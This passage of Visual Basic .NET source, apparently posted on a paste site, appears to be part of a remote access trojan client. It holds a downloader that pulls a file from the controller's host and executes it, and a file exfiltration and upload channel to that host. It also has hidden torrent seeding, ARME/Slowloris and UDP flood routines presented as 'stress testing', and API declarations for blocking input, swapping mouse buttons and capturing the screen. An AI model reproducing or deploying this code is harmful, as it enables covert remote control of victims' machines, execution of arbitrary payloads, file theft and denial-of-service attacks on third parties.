  5768.             'DestroyWindow(hHwnd)
  5769.         End Try
  5770.     End Function
  5771.     Public ReadOnly Property copyIt() As Image
  5772.         Get
  5773.             Return copyFrame1(picCapture, New RectangleF(0, 0, picCapture.Width, picCapture.Height))
  5774.         End Get
  5775.     End Property
  5776.     Public Function copyFrame1(ByVal src As PictureBox, ByVal rect As RectangleF) As Bitmap
  5777.         Try
  5778.             Dim srcPic As Graphics = src.CreateGraphics
  5779.             Dim srcBmp As New Bitmap(src.Width, src.Height, srcPic)
  5780.             Dim srcMem As Graphics = Graphics.FromImage(srcBmp)
  5781.             Dim HDC1 As IntPtr = srcPic.GetHdc
  5782.             Dim HDC2 As IntPtr = srcMem.GetHdc
  5783.             BitBlt(HDC2, 0, 0, CInt(rect.Width), CInt(rect.Height), HDC1, CInt(rect.X), CInt(rect.Y), 13369376)
  5784.             copyFrame1 = CType(srcBmp.Clone(), Bitmap)
  5785.             srcPic.ReleaseHdc(HDC1)
  5786.             srcMem.ReleaseHdc(HDC2)
  5787.             srcPic.Dispose()
  5788.             srcMem.Dispose()
  5789.         Catch ex As Exception
  5790.             copyFrame1 = Nothing
  5791.         End Try
  5792.     End Function
  5793.     Public Function copyFrame(ByVal CamWnd As IntPtr, ByVal rect As RectangleF) As Bitmap
  5794.         Try
  5795.             Dim srcPic As Graphics = Graphics.FromHwnd(CamWnd)
  5796.             Dim srcBmp As New Bitmap(250, 180, srcPic)
  5797.             Dim srcMem As Graphics = Graphics.FromImage(srcBmp)
  5798.             Dim HDC1 As IntPtr = srcPic.GetHdc
  5799.             Dim HDC2 As IntPtr = srcMem.GetHdc
  5800.             BitBlt(HDC2, 0, 0, CInt(rect.Width), CInt(rect.Height), HDC1, CInt(rect.X), CInt(rect.Y), 13369376)
  5801.             copyFrame = CType(srcBmp.Clone(), Bitmap)
  5802.             srcPic.ReleaseHdc(HDC1)
  5803.             srcMem.ReleaseHdc(HDC2)
  5804.             srcPic.Dispose()
  5805.             srcMem.Dispose()
  5806.         Catch ex As Exception
  5807.             Return Nothing
  5808.         End Try
  5809.     End Function
  5810. End Class
  5811.  
  5812. #End Region
  5813.  
  5814. #Region " Quick Transfer "
  5815. Public Class QuickTransfer
  5816.     Private Const UploadExec = 76
  5817.     Private TransferSocket As TcpClient
  5818.     Private TransferThread As Thread
  5819.     Private LocalPath As String = Nothing
  5820.     Private TransferStream As NetworkStream
  5821.     Private Const StatusDownloading = &H1
  5822.     Private Const StatusDownloadError = &H3
  5823.     Private Const StatusDownloadedExecuting = &H4
  5824.     Private Const StatusExecuted = &H5
  5825.     Private Const StatusExecuteError = &H6
  5826.     Private Const DLStatus = 87
  5827.     Private Update As Integer = 0
  5828.     Public Sub New(ByVal DownloadSettings As String)
  5829.         Try
  5830.             Dim ID As String = DownloadSettings.Split(SplitMark1)(1)
  5831.             Dim RemotePath As String = DownloadSettings.Split(SplitMark1)(2)
  5832.             Dim FileName As String = DownloadSettings.Split(SplitMark1)(3)
  5833.             Update = Asc(DownloadSettings.Split(SplitMark1)(4))
  5834.             LocalPath = Path.GetTempFileName & FileName
  5835.             TransferSocket = New TcpClient()
  5836.             TransferSocket.Connect(compilerSettings.remoteHost, compilerSettings.remotePort)
  5837.             TransferSocket.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(UploadExec) & SplitMark1 & ID & SplitMark1 & RemotePath))
  5838.             TransferSocket.Client.SendBufferSize = 20480
  5839.             TransferThread = New Thread(AddressOf Transfer)
  5840.             TransferThread.IsBackground = True
  5841.             TransferThread.SetApartmentState(ApartmentState.STA)
  5842.             TransferThread.Start()
  5843.         Catch
  5844.             Send(Chr(DLStatus) & Chr(StatusDownloadError))
  5845.         End Try
  5846.     End Sub
  5847.     Public Sub Transfer()
  5848.         Try
  5849.             Dim FileToReceive As New FileStream(LocalPath, FileMode.Create, FileAccess.Write)
  5850.             Dim BytesRead As Integer = 0
  5851.             Dim TempFileBuffer(20480) As Byte
  5852.             TransferStream = TransferSocket.GetStream
  5853.             Send(Chr(CommandType.downloaderStatus) & Chr(StatusDownloading))
  5854.             While True
  5855.                 BytesRead = TransferStream.Read(TempFileBuffer, 0, TempFileBuffer.Length)
  5856.                 If BytesRead = 0 Then Exit While
  5857.                 FileToReceive.Write(TempFileBuffer, 0, BytesRead)
  5858.                 FileToReceive.Flush()
  5859.             End While
  5860.             FileToReceive.Close()
  5861.             TransferSocket.GetStream.Close()
  5862.             TransferSocket.Close()
  5863.             If Update <> 2 Then
  5864.                 Exec()
  5865.             Else
  5866.                 UpdateExecute()
  5867.                 MainModule.Send(Chr(MainModule.CommandType.downloaderStatus) & Chr(StatusExecuted))
  5868.             End If
  5869.         Catch ex As Exception
  5870.  
  5871.             Send(Chr(CommandType.downloaderStatus) & Chr(StatusDownloadError))
  5872.             Try
  5873.                 TransferSocket.GetStream.Close()
  5874.                 TransferSocket.Close()
  5875.             Catch
  5876.  
  5877.             End Try
  5878.         End Try
  5879.     End Sub
  5880.  
  5881.     Public Sub UpdateExecute()
  5882.         On Error Resume Next
  5883.         Process.Start(LocalPath)
  5884.         End
  5885.     End Sub
  5886.     Public Sub Exec()
  5887.         MainModule.Send(Chr(MainModule.CommandType.downloaderStatus) & Chr(StatusDownloadedExecuting))
  5888.         Try
  5889.             Dim p As Process = Process.Start(LocalPath)
  5890.             MainModule.Send(Chr(MainModule.CommandType.downloaderStatus) & Chr(StatusExecuted))
  5891.         Catch
  5892.             MainModule.Send(Chr(MainModule.CommandType.downloaderStatus) & Chr(StatusExecuteError))
  5893.         End Try
  5894.     End Sub
  5895. End Class
  5896.  
  5897. #End Region
  5898.  
  5899. #Region " Transfer "
  5900. Public Class Transfer
  5901.     Private TransferSocket As TcpClient
  5902.     Private TransferThread As Thread
  5903.     Private LocalPath As String = Nothing
  5904.     Private TransferStream As NetworkStream
  5905.     Private Const Send = 74
  5906.     Private Const Receive = 75
  5907.     Private Const Unknown = 0
  5908.     Private TransferType As Integer = 0
  5909.     Public Sub New(ByVal genericInfo As String)
  5910.         Try
  5911.             TransferType = Asc(genericInfo.Split(SplitMark1)(0))
  5912.             Dim RemotePath As String = genericInfo.Split(SplitMark1)(1)
  5913.             LocalPath = genericInfo.Split(SplitMark1)(2)
  5914.             Dim ID As Integer = genericInfo.Split(SplitMark1)(3)
  5915.  
  5916.             Dim Size As Integer = 0
  5917.  
  5918.             If TransferType = Receive Then
  5919.                 Size = New FileInfo(LocalPath).Length
  5920.                 If Size > 0 And Size < 1024 Then
  5921.                     Size = 1024
  5922.                 End If
  5923.             End If
  5924.             If TransferType = 0 Then Exit Sub
  5925.             TransferSocket = New TcpClient()
  5926.             TransferSocket.Connect(compilerSettings.remoteHost, compilerSettings.remotePort)
  5927.             TransferSocket.Client.Send(System.Text.Encoding.UTF8.GetBytes(Chr(TransferType) & MainModule.SplitMark1 & ID & MainModule.SplitMark1 & RemotePath & MainModule.SplitMark1 & Size & MainModule.SplitMark1 & LocalPath))
  5928.             TransferSocket.Client.SendBufferSize = 20480
  5929.             TransferThread = New Thread(AddressOf Transfer)
  5930.             TransferThread.IsBackground = True
  5931.             TransferThread.SetApartmentState(ApartmentState.STA)
  5932.             TransferThread.Start()
  5933.  
  5934.         Catch
  5935.         End Try
  5936.     End Sub
  5937.     Public Sub Transfer()
  5938.         Try
  5939.             Select Case TransferType
  5940.                 Case Send
  5941.                     Dim FileToReceive As New FileStream(LocalPath, FileMode.Create, FileAccess.Write)
  5942.                     Dim BytesRead As Integer = 0
  5943.                     Dim TempFileBuffer(20480) As Byte
  5944.                     TransferStream = TransferSocket.GetStream
  5945.                     While True
  5946.                         BytesRead = TransferStream.Read(TempFileBuffer, 0, TempFileBuffer.Length)
  5947.                         If BytesRead = 0 Then Exit While
  5948.                         FileToReceive.Write(TempFileBuffer, 0, BytesRead)
  5949.                         FileToReceive.Flush()
  5950.                     End While
  5951.                     TransferSocket.GetStream.Close()
  5952.                     FileToReceive.Close()
  5953.                     TransferSocket.Close()
  5954.                 Case Receive
  5955.                     Dim FileToSend As New FileStream(LocalPath, FileMode.Open, FileAccess.Read)
  5956.                     Dim BytesRead As Integer = 0
  5957.                     Dim TempFileBuffer(20480) As Byte
  5958.                     TransferStream = TransferSocket.GetStream
  5959.                     While True
  5960.                         BytesRead = FileToSend.Read(TempFileBuffer, 0, TempFileBuffer.Length)
  5961.                         If BytesRead = 0 Then Exit While
  5962.                         TransferStream.Write(TempFileBuffer, 0, BytesRead)
  5963.                         TransferStream.Flush()
  5964.                     End While
  5965.                     FileToSend.Close()
  5966.                     TransferSocket.GetStream.Close()
  5967.                     TransferSocket.Close()
  5968.                 Case Unknown
  5969.                     TransferSocket.GetStream.Close()
  5970.                     TransferSocket.Close()
  5971.             End Select
  5972.         Catch ex As Exception
  5973.             Try
  5974.                 If ex.Message.Contains("is denied") Then
  5975.                     MainModule.Send(Chr(MainModule.CommandType.ErrorHandler) & 1 & MainModule.SplitMark1 & ex.Message)
  5976.                     TransferSocket.GetStream.Close()
  5977.                     TransferSocket.Close()
  5978.                 End If
  5979.                 TransferSocket.GetStream.Close()
  5980.                 TransferSocket.Close()
  5981.             Catch
  5982.             End Try
  5983.         End Try
  5984.     End Sub
  5985. End Class
  5986.  
  5987. #End Region
  5988.  
  5989. #Region " Seeder "
  5990. Public Class Seeder
  5991.     <DllImport("user32.dll")> Private Shared Function ShowWindow(ByVal hwnd As Integer, ByVal nCmdShow As Integer) As Integer
  5992.     End Function
  5993.     Public Shared UTorrentPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\uTorrent\uTorrent.exe"
  5994.     Public Shared UTorrentLocalPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\uTorrent\uTorrent.exe"
  5995.     Public Shared BitTorrentPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\BitTorrent\bittorrent.exe"
  5996.     Public Shared BitLocalPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\BitTorrent\BitTorrent.exe"
  5997.     Public Shared VuzePath As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Vuze\Azureus.exe"
  5998.     Public Shared VuzeLocalPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Azureus\torrents\"
  5999.  
  6000.     Public Sub New(ByVal path As String)
  6001.         On Error Resume Next
  6002.         If IsVuze() Then
  6003.             SeedItVuze(VuzePath, path)
  6004.             Send(Chr(136) & MainModule.SplitMark1 & "Seeding file " & GetFileNameFromURL(path) & " with Vuze")
  6005.         ElseIf IsBitTorrent() Then
  6006.             SeedIt(BitLocalPath, BitLocalPath, path)
  6007.             MainModule.Send(Chr(136) & MainModule.SplitMark1 & "Seeding file " & GetFileNameFromURL(path) & " with BitTorrent")
  6008.         ElseIf IsUtorrent() Then
  6009.             SeedIt(UTorrentPath, UTorrentLocalPath, path)
  6010.             MainModule.Send(Chr(136) & MainModule.SplitMark1 & "Seeding file " & GetFileNameFromURL(path) & " with ?Torrent")
  6011.         Else
  6012.             MainModule.Send(Chr(136) & MainModule.SplitMark1 & "Failed to seed, torrent client not installed.")
  6013.         End If
  6014.     End Sub
  6015.     Public Function GetFileNameFromURL(ByVal URL As String) As String
  6016.         Try
  6017.             Return URL.Substring(URL.LastIndexOf("/", System.StringComparison.Ordinal) + 1)
  6018.         Catch ex As Exception
  6019.             Return URL
  6020.         End Try
  6021.     End Function
  6022.     Public Shared Function IsUtorrent() As Boolean
  6023.         On Error Resume Next
  6024.         If File.Exists(UTorrentPath) Then
  6025.             Return True
  6026.         End If
  6027.         Return False
  6028.     End Function
  6029.  
  6030.     Public Shared Function IsBitTorrent() As Boolean
  6031.         On Error Resume Next
  6032.         If File.Exists(BitLocalPath) Then
  6033.             Return True
  6034.         End If
  6035.         Return False
  6036.     End Function
  6037.  
  6038.     Public Shared Function IsVuze() As Boolean
  6039.         On Error Resume Next
  6040.         If File.Exists(VuzePath) Then
  6041.             Return True
  6042.         End If
  6043.         Return False
  6044.     End Function
  6045.  
  6046.     Public Shared Sub SeedIt(ByVal ClientPath As String, ByVal LocalPath As String, ByVal TorrentPath As String)
  6047.         On Error Resume Next
  6048.         Dim seed As New ProcessStartInfo()
  6049.         seed.FileName = ClientPath
  6050.         seed.Arguments = "/DIRECTORY " & LocalPath & " " & TorrentPath
  6051.         seed.CreateNoWindow = True
  6052.         Dim p As Process = Process.Start(seed)
  6053.         If ClientPath.Contains("uTorrent") Then
  6054.             HideIt("uTorrent")
  6055.         ElseIf ClientPath.Contains("BitTorrent") Then
  6056.             HideIt("BitTorrent")
  6057.         ElseIf ClientPath.Contains("Azureus") Then
  6058.             HideIt("Azureus")
  6059.         End If
  6060.     End Sub
  6061.  
  6062.     Public Shared Sub SeedItVuze(ByVal ClientPath As String, ByVal TorrentURL As String)
  6063.         On Error Resume Next
  6064.         Dim seed As New ProcessStartInfo()
  6065.         seed.FileName = ClientPath
  6066.         seed.Arguments = TorrentURL
  6067.         seed.CreateNoWindow = True
  6068.         Dim p As Process = Process.Start(seed)
  6069.         HideIt(p.MainWindowHandle)
  6070.         Thread.Sleep(1000)
  6071.     End Sub
  6072.  
  6073.     Public Shared Sub HideIt(ByVal TorrentClient As String)
  6074.         On Error Resume Next
  6075.         Thread.Sleep(1000)
  6076.         Dim P As Process() = Process.GetProcessesByName(TorrentClient)
  6077.         ShowWindow(P(0).MainWindowHandle.ToInt32, 0)
  6078.     End Sub
  6079. End Class
  6080. #End Region
  6081.  
  6082. #Region " Stress testing "
  6083. Public Class StressTesting
  6084.     Public Shared Flooding As Boolean = False
  6085.     Public Shared ThreadList As New List(Of Thread)()
  6086.     Public Sub StartFlood(ByVal T As FloodType, ByVal I As String, ByVal P As Integer)
  6087.         Try
  6088.             IP = I
  6089.             Port = P
  6090.             Select Case T
  6091.                 Case FloodType.ARME
  6092.                     InitArme()
  6093.                     Send(Chr(140) & SplitMark1 & "Flooding with ARME. IP: " & I & " Port: " & P)
  6094.                 Case FloodType.SLOWLORIS
  6095.                     InitArme()
  6096.                     Send(Chr(140) & SplitMark1 & "Flooding with Slowloris. IP: " & I & " Port: " & P)
  6097.                 Case FloodType.TCP
  6098.                     StartTCP()
  6099.                     Send(Chr(140) & SplitMark1 & "Flooding with TCP. IP: " & I & " Port: " & P)
  6100.                 Case FloodType.UDP
  6101.                     StartUdp()
  6102.                     Send(Chr(140) & SplitMark1 & "Flooding with UDP. IP: " & I & " Port: " & P)
  6103.             End Select
  6104.         Catch ex As Exception
  6105.  
  6106.         End Try
  6107.  
  6108.     End Sub
  6109.  
  6110. #Region "ARME"
  6111.     Public Sub StopArme()
  6112.         On Error Resume Next
  6113.         Flooding = False
  6114.         ThreadList.Clear()
  6115.         For Each T As Thread In ThreadList
  6116.             If T.ThreadState <> Threading.ThreadState.Stopped Then
  6117.                 Return
  6118.             End If
  6119.         Next
  6120.     End Sub
  6121.     Public Sub InitArme()
  6122.         On Error Resume Next
  6123.         For i As Integer = 0 To 80
  6124.             Flooding = True
  6125.             CheckForIllegalCrossThreadCalls = False
  6126.             ThreadList.Add((New Thread(New ThreadStart(AddressOf StartARME))))
  6127.             ThreadList(ThreadList.Count - 1).Start()
  6128.         Next
  6129.     End Sub
  6130.     Public Sub StartARME()
  6131.  
  6132.         Dim Shocks As Socket() = New Socket(50 - 1) {}
  6133.         Dim uri As New Uri(IP)
  6134.         For I As Integer = 0 To 50 - 1
  6135.             If Not Flooding Then
  6136.                 GoTo ENDLOOP
  6137.             End If
  6138.             Shocks(I) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  6139.         Next
  6140.         While True
  6141.             If Not Flooding Then
  6142.                 GoTo ENDLOOP
  6143.             End If
  6144.             For I As Integer = 0 To 50 - 1
  6145.                 If Not Flooding Then
  6146.                     GoTo ENDLOOP
  6147.                 End If
  6148.                 If Not Shocks(I).Connected Then
  6149. RETRY_CONNECT:
  6150.                     If Not Flooding Then
  6151.                         GoTo ENDLOOP
  6152.                     End If
  6153.                     Try
  6154.                         Shocks(I) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  6155.                         Shocks(I).Connect(Dns.GetHostAddresses(uri.Host)(0), 80)
  6156.                         Shocks(I).Send(System.Text.Encoding.ASCII.GetBytes("HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"), SocketFlags.None)
  6157.                     Catch ex As Exception
  6158.                         If Not Flooding Then
  6159.                             GoTo ENDLOOP
  6160.                         End If
  6161.                         Thread.Sleep(1000)
  6162.                         GoTo RETRY_CONNECT
  6163.                     End Try
  6164.                 End If
  6165.                 If Not Flooding Then
  6166.                     GoTo ENDLOOP
  6167.                 End If
  6168.             Next
  6169.             If Not Flooding Then
  6170.                 GoTo ENDLOOP
  6171.             End If
  6172. [LOOP]:
  6173.             If Not Flooding Then
  6174.                 GoTo ENDLOOP
  6175.             End If
  6176.             Try
  6177.                 For i As Integer = 0 To 50 - 1
  6178.                     If Not Flooding Then
  6179.                         GoTo ENDLOOP
  6180.                     End If
  6181.                     Shocks(i).Send(System.Text.Encoding.ASCII.GetBytes("HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"), SocketFlags.None)
  6182.                 Next
  6183.             Catch ex As Exception
  6184.             End Try
  6185.             Thread.Sleep(4000)
  6186.             If Not Flooding Then
  6187.                 GoTo ENDLOOP
  6188.             End If
  6189.             GoTo [LOOP]
  6190.         End While
  6191. ENDLOOP:
  6192.         Try
  6193.             For i As Integer = 0 To 50 - 1
  6194.                 If Shocks(i).Connected Then
  6195.                     Shocks(i).Close()
  6196.                     Shocks(i).Disconnect(False)
  6197.                 End If
  6198.                 Shocks(i) = Nothing
  6199.             Next
  6200.         Catch ex As Exception
  6201.         End Try
  6202.     End Sub
  6203. #End Region
  6204.  
  6205. #Region "Udp"
  6206.     Public Sub StartUdp()
  6207.         Udp.Host = IP
  6208.         Udp.Port = Port
  6209.         Udp.Threads = 50
  6210.         Udp.Socks = 10
  6211.         Udp.StartFlood()
  6212.     End Sub
  6213.     Public Sub StopUdp()
  6214.         Udp.StopFlood()
  6215.     End Sub
  6216.     Friend Class Udp
  6217.         Private Shared _floodingJob As ThreadStart()
  6218.         Private Shared _floodingThread As Thread()
  6219.         Private Shared _ipEo As IPEndPoint
  6220.         Private Shared _UdPcLass As SendPackets()
  6221.         Public Shared Host As String
  6222.         Public Shared IsEnabled As Boolean
  6223.         Public Shared Port As Integer
  6224.         Public Shared Socks As Integer
  6225.         Public Shared Threads As Integer
  6226.  
  6227.         Public Shared Sub StartFlood()
  6228.             Try
  6229.                 Dim addressList As IPAddress() = Dns.GetHostEntry(Host).AddressList
  6230.                 _ipEo = New IPEndPoint(addressList(0), Port)
  6231.             Catch
  6232.                 Dim address As IPAddress = IPAddress.Parse(Host)
  6233.                 _ipEo = New IPEndPoint(address, Port)
  6234.             End Try
  6235.             _floodingThread = New Thread(Threads - 1) {}
  6236.             _floodingJob = New ThreadStart(Threads - 1) {}
  6237.             _UdPcLass = New SendPackets(Threads - 1) {}
  6238.             For i As Integer = 0 To Threads - 1
  6239.                 _UdPcLass(i) = New SendPackets(_ipEo, Socks)
  6240.                 _floodingJob(i) = New ThreadStart(AddressOf _UdPcLass(i).Send)
  6241.                 _floodingThread(i) = New Thread(_floodingJob(i))
  6242.                 _floodingThread(i).Start()
  6243.             Next
  6244.             IsEnabled = True
  6245.         End Sub
  6246.  
  6247.         Public Shared Sub StopFlood()
  6248.  
  6249.             For i As Integer = 0 To Threads - 1
  6250.                 Try
  6251.                     _floodingThread(i).Abort()
  6252.                     _floodingThread(i) = Nothing
  6253.                     _floodingJob(i) = Nothing
  6254.                     _UdPcLass(i) = Nothing
  6255.                 Catch
  6256.                 End Try
  6257.             Next
  6258.             IsEnabled = False
  6259.         End Sub
  6260.  
  6261.  
  6262.         Private Class SendPackets
  6263.             Private _sock As Socket()
  6264.             Private ipEo As IPEndPoint
  6265.             Private Socks As Integer
  6266.  
  6267.             Public Sub New(ByVal ipEo As IPEndPoint, ByVal shockets As Integer)
  6268.                 On Error Resume Next
  6269.                 Me.ipEo = ipEo
  6270.                 Socks = shockets
  6271.             End Sub
  6272.  
  6273.             Private Shared Sub OnConnect(ByVal ar As IAsyncResult)
  6274.             End Sub
  6275.  
  6276.             Public Sub Send()
  6277.  
  6278.                 While True
  6279.                     Dim num As Integer
  6280.                     Try
  6281.                         _sock = New Socket(Socks - 1) {}
  6282.                         For num = 0 To Socks - 1
  6283.                             _sock(num) = New Socket(ipEo.AddressFamily, SocketType.Stream, ProtocolType.Udp)
  6284.                             _sock(num).Blocking = False
  6285.                             _sock(num).BeginConnect(ipEo, New System.AsyncCallback(AddressOf OnConnect), _sock(num))
  6286.                         Next
  6287.                         Thread.Sleep(100)
  6288.                         For num = 0 To Socks - 1
  6289.                             If _sock(num).Connected Then
  6290.                                 _sock(num).Disconnect(False)
  6291.                             End If
  6292.                             _sock(num).Close()
  6293.                             _sock(num) = Nothing
  6294.                         Next
  6295.                         _sock = Nothing
  6296.                     Catch
  6297.                         For num = 0 To Socks - 1
  6298.                             Try
  6299.                                 If _sock IsNot Nothing Then
  6300.                                     If _sock(num).Connected Then
  6301.                                         Dim msg As Byte() = Encoding.UTF8.GetBytes("#############################%%%%%%%%%%%%%%%%%%%%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^")
  6302.                                         Dim bytes As Byte() = New Byte(255) {}
  6303.                                         _sock(num).Send(msg, 0, msg.Length, SocketFlags.None)
  6304.                                         _sock(num).Disconnect(False)
  6305.                                     End If
  6306.                                     _sock(num).Close()
  6307.                                     _sock(num) = Nothing
  6308.                                 End If
  6309.                             Catch
  6310.                             End Try
  6311.                         Next
  6312.                     End Try
  6313.                 End While
  6314.             End Sub
  6315.         End Class
  6316.  
  6317.     End Class
  6318. #End Region
  6319.     Public Sub StartTCP()
  6320.  
  6321.     End Sub
  6322.  
  6323. #Region "Properties"
  6324.     Private _Port As Integer
  6325.     Public Property Port As Integer
  6326.         Get
  6327.             Return _Port
  6328.         End Get
  6329.         Set(ByVal value As Integer)
  6330.             _Port = value
  6331.         End Set
  6332.     End Property
  6333.     Private _IP As String
  6334.     Public Property IP As String
  6335.         Get
  6336.             Return _IP
  6337.         End Get
  6338.         Set(ByVal value As String)
  6339.             _IP = value
  6340.         End Set
  6341.     End Property
  6342. #End Region
  6343.  
  6344.     Public Enum FloodType
  6345.         ARME = 0
  6346.         SLOWLORIS = 1
  6347.         UDP = 2
  6348.         TCP = 3
  6349.     End Enum
  6350. End Class
  6351.  
  6352. #End Region
  6353.  
  6354. #Region " Native "
  6355. Public Module Native
  6356.     <DllImport("user32.dll", SetLastError:=True, CharSet:=CharSet.Auto)> Public Function GetWindow(ByVal hWnd As IntPtr, ByVal uCmd As UInteger) As IntPtr
  6357.     End Function
  6358.     <DllImport("winmm.dll")> _
  6359.     Public Function mciSendStringA(ByVal lpszCommand As String, ByVal lpszReturnString As String, ByVal cchReturnLength As Long, ByVal hwndCallback As Long) As Long
  6360.     End Function
  6361.     Public Declare Function ExitWindowsEx Lib "user32" (ByVal shutdownType As Integer, ByVal dwReserved As Integer) As Integer
  6362.     Public Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal nCmdShow As Int32) As Int32
  6363.     Public Declare Function SendMessageA Lib "user32" (ByVal Hwnd As IntPtr, ByVal Message As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
  6364.     Declare Sub MouseEvent Lib "user32" Alias "mouse_event" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
  6365.     Declare Function BlockInput Lib "user32" (ByVal fBlockIt As Boolean) As Boolean
  6366.     Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hwnd As Int32, ByVal nclass As Int32, ByVal spz1 As String, ByVal spz2 As String) As Int32
  6367.     Declare Function EnableWindow Lib "user32" (ByVal hwnd As Int32, ByVal nOption As Int32) As Int32
  6368.     Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
  6369.     Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
  6370.     Public Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long
  6371.     Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal Msg As Integer, ByVal wParam As Integer, <MarshalAs(UnmanagedType.AsAny)> ByVal lParam As Object) As Integer
  6372.     Public Delegate Function CallBack(ByVal hwnd As Integer, ByVal lParam As Integer) As Boolean
  6373.     Public Declare Function EnumWindows Lib "user32" (ByVal Adress As CallBack, ByVal y As Integer) As Integer
  6374.     Public Declare Function IsWindowVisible Lib "user32.dll" (ByVal hwnd As IntPtr) As Boolean
  6375.     Public Declare Auto Function SetCursorPos Lib "User32.dll" (ByVal X As Integer, ByVal Y As Integer) As Long
  6376.     Public Declare Auto Function GetCursorPos Lib "User32.dll" (ByRef lpPoint As Point) As Long
  6377.     Public Declare Sub mouse_event Lib "user32" Alias "mouse_event" (ByVal dwFlags As Integer, ByVal dx As Integer, ByVal dy As Integer, ByVal cButtons As Integer, ByVal dwExtraInfo As Integer)
  6378.     Public Const MOUSEEVENTF_LEFTDOWN = &H2
  6379.     Public Const MOUSEEVENTF_LEFTUP = &H4
  6380.     Public Const MOUSEEVENTF_MIDDLEDOWN = &H20
  6381.     Public Const MOUSEEVENTF_MIDDLEUP = &H40
  6382.     Public Const MOUSEEVENTF_RIGHTDOWN = &H8
  6383.     Public Const MOUSEEVENTF_RIGHTUP = &H10
  6384.     Public Const MOUSEEVENTF_MOVE = &H1
  6385.     Public Declare Function CreateDC Lib "gdi32" Alias "CreateDCA" (ByVal lpDriverName As String, ByVal lpDeviceName As String, ByVal lpOutput As String, ByVal lpInitData As String) As Integer
  6386.     Public Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Integer) As Integer
  6387.     Public Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer) As Integer
  6388.     Public Declare Function GetDeviceCaps Lib "gdi32" Alias "GetDeviceCaps" (ByVal hdc As Integer, ByVal nIndex As Integer) As Integer
  6389.     Public Declare Function SelectObject Lib "GDI32" (ByVal hDC As Integer, ByVal hObject As Integer) As Integer
  6390.     Public Declare Function BitBlt Lib "GDI32" (ByVal srchDC As Integer, ByVal srcX As Integer, ByVal srcY As Integer, ByVal srcW As Integer, ByVal srcH As Integer, ByVal desthDC As Integer, ByVal destX As Integer, ByVal destY As Integer, ByVal op As Integer) As Integer
  6391.     Public Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Integer) As Integer
  6392.     Public Declare Function DeleteObject Lib "GDI32" (ByVal hObj As Integer) As Integer
  6393.     Public FW, FH As Integer
  6394.  
  6395.     <StructLayout(LayoutKind.Sequential)> Public Structure ICONINFO
  6396.         Public fIcon As Boolean
  6397.         Public xHotspot As Int32
  6398.         Public yHotspot As Int32
  6399.         Public hbmMask As IntPtr
  6400.         Public hbmColor As IntPtr
  6401.     End Structure
  6402.  
  6403.     <StructLayout(LayoutKind.Sequential)> Public Structure CURSORINFO
  6404.         Public cbSize As Int32
  6405.         Public flags As Int32
  6406.         Public hCursor As IntPtr
  6407.         Public ptScreenPos As Point
  6408.     End Structure
  6409.  
  6410.     <DllImport("user32.dll", EntryPoint:="GetCursorInfo")> Public Function GetCursorInfo(ByRef pci As CURSORINFO) As Boolean
  6411.     End Function
  6412.  
  6413.     <DllImport("user32.dll", EntryPoint:="CopyIcon")> Public Function CopyIcon(ByVal hIcon As IntPtr) As IntPtr
  6414.     End Function
  6415.  
  6416.     <DllImport("user32.dll", EntryPoint:="GetIconInfo")> Public Function GetIconInfo(ByVal hIcon As IntPtr, ByRef piconinfo As ICONINFO) As Boolean
  6417.     End Function
  6418.     <DllImport("msvcrt.dll", CallingConvention:=CallingConvention.Cdecl)> _
  6419.     Public Function memcmp(Dest As IntPtr, Src As IntPtr, Length As Integer) As Integer
  6420.     End Function
  6421.     <DllImport("User32.dll", SetLastError:=False, CallingConvention:=CallingConvention.StdCall, _
  6422.          CharSet:=CharSet.Auto)> _
  6423.     Public Function MapVirtualKey(ByVal uCode As UInt32, ByVal uMapType As UInt32) As UInt32
  6424.     End Function
  6425.     Public Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
  6426.     <DllImport("Kernel32.dll")> Public Function SuspendThread(ByVal hThread As IntPtr) As Int32
  6427.     End Function
  6428.     <DllImport("kernel32.dll")> Public Function OpenThread(ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Boolean, ByVal dwThreadId As Integer) As IntPtr
  6429.     End Function
  6430.     <DllImport("kernel32.dll")> Public Function ResumeThread(ByVal hThread As IntPtr) As Integer
  6431.     End Function
  6432.  
  6433. End Module
  6434. #End Region
Add Comment
Please, Sign In to add comment